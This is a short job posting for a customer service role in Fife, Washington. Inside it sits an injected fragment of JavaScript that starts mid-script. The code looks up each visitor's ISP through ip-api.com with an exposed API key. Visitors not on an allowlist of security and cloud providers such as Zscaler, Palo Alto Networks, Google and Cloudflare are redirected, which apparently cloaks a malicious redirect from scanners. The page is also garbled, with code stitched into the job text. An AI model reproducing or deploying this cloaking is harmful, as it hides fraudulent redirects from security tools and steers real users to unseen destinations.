Customer Service Representative – Non-Exempt
Overview
const ipAddress = data.ip;
// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;
// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));
if (!ispAllowed && !asOrgAllowed) {
// Redirect all users to the same URL
window.location.href = '';
}
})
.catch(error => {
console.error('Error retrieving ISP name:', error);
});
})
.catch(error => {
console.error('Error retrieving IP address or location:', error);
});
We are seeking a dedicated Customer Service Representative (Non-Location Specific) to join our team in Fife, Washington.
In this role, you will:
- Provide exceptional support to customers via phone, email, and chat, addressing inquiries and resolving issues promptly.
- Assist with order processing, tracking, and account management to ensure customer satisfaction.
- Maintain accurate records of interactions and transactions in our database.
- Collaborate with team members to improve service delivery and resolve complex customer concerns.
- Identify opportunities to enhance customer experience and suggest process improvements.
Skills needed include excellent communication, problem-solving, and active listening. A positive attitude and ability to work in a fast-paced environment are essential.
Benefits include competitive pay, health insurance options, paid time off, training programs, and opportunities for growth. Join us to provide top-tier service and make a difference for our customers!